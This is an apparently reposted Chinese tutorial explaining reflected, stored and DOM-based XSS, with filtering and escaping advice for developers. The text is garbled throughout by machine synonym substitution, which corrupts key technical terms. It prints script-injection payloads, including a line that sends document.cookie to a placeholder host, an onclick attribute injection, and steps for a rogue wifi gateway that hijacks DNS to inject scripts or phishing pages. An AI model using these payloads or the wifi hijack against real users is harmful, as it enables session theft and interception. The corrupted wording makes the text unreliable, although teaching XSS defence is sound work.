XSS(cross-site scripting跨域剧本进击)进击是最常见的Web进击,其重点是“跨域”和“客户端实行”。有人将XSS进击分为三种,分别是:
Reflected XSS(基于反射的XSS进击)
Stored XSS(基于存储的XSS进击)
DOM-based or local XSS(基于DOM或当地的XSS进击)
Reflected XSS
基于反射的XSS进击,重要依托站点效劳端返回剧本,在客户端触发实行从而提议Web进击。
例子:
做个假定,当亚马逊在搜刮书本,搜不到书的时刻显现提交的称号。
在搜刮框搜刮内容,填入“<script>alert(‘handsome boy’)</script>”, 点击搜刮。
当前端页面没有对返回的数据举行过滤,直接显现在页面上, 这时候就会alert谁人字符串出来。
进而能够组织猎取用户cookies的地点,经由过程QQ群或许垃圾邮件,来让其他人点击这个地点:
document.location=” target=”_blank”>http://www.amazon.cn/search?n…‘http://xxx/get?cookie=’+document.cookie</script>
PS:这个地点当然是没效的,只是举例子罢了。
结论:
假如只是1、2、3步做胜利,那也只是本身折腾本身罢了,假如第4步能做胜利,才是个像样的XSS进击。
开辟安全措施:
-
前端在显现效劳端数据时刻,不仅是标签内容须要过滤、转义,就连属性值也都能够须要。
-
后端吸收要求时,考证要求是不是为进击要求,进击则屏障。
比方:
标签:
<span><script>alert(‘handsome boy’)</script></span>
转义
<span><script>alert(‘handsome boy’)</script></span>
属性:
假如一个input的value属性值是
琅琊榜” onclick=”javascript:alert(‘handsome boy’)
就能够涌现
<input type=”text” value=”琅琊榜” onclick=”javascript:alert(‘handsome boy’)”>
点击input致使进击剧本被实行,处理体式格局能够对script或许双引号举行过滤。
Stored XSS
基于存储的XSS进击,是经由过程宣布带有歹意跨域剧本的帖子/文章,从而把歹意剧本存储在效劳器,每一个接见该帖子/文章的人就会触发实行。
例子:
-
发一篇文章,内里包括了歹意剧本
今天天气不错啊!<script>alert(‘handsome boy’)</script>
-
后端没有对文章举行过滤,直接保留文章内容到数据库。
-
当其他看这篇文章的时刻,包括的歹意剧本就会实行。
PS:由于大部分文章是保留全部HTML内容的,前端显现时刻也不做过滤,就极能够涌现这类状况。
结论:
后端尽能够对提交数据做过滤,在场景需求而不过滤的状况下,前端就须要做些处理了。
开辟安全措施:
-
首如果效劳端要举行过滤,由于前端的校验能够被绕过。
-
当效劳端不校验时刻,前端要以各种体式格局过滤内里能够的歹意剧本,比方script标签,将特别字符转换成HTML编码。
DOM-based or local XSS
基于DOM或当地的XSS进击。平常是供应一个免费的wifi,然则供应免费wifi的网关会往你接见的任何页面插进去一段剧本或许是直接返回一个垂纶页面,从而植入歹意剧本。这类直接存在于页面,不必经由效劳器返回就是基于当地的XSS进击。
例子1:
-
供应一个免费的wifi。
-
开启一个特别的DNS效劳,将一切域名都剖析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
-
以后连上wifi的用户翻开任何网站,要求都将被我们截取到。我们依据http头中的host字段来转发到真正效劳器上。
-
收到效劳器返回的数据以后,我们就能够完成网页剧本的注入,并返回给用户。
-
当注入的剧本被实行,用户的浏览器将顺次预加载各大网站的经常运用剧本库。
这个实在就是wifi流量挟制,中间人能够看到用户的每一个要求,能够在页面嵌入歹意代码,运用歹意代码猎取用户的信息,能够返回垂纶页面。
PS:本文转自 http://www.cnblogs.com/loveso…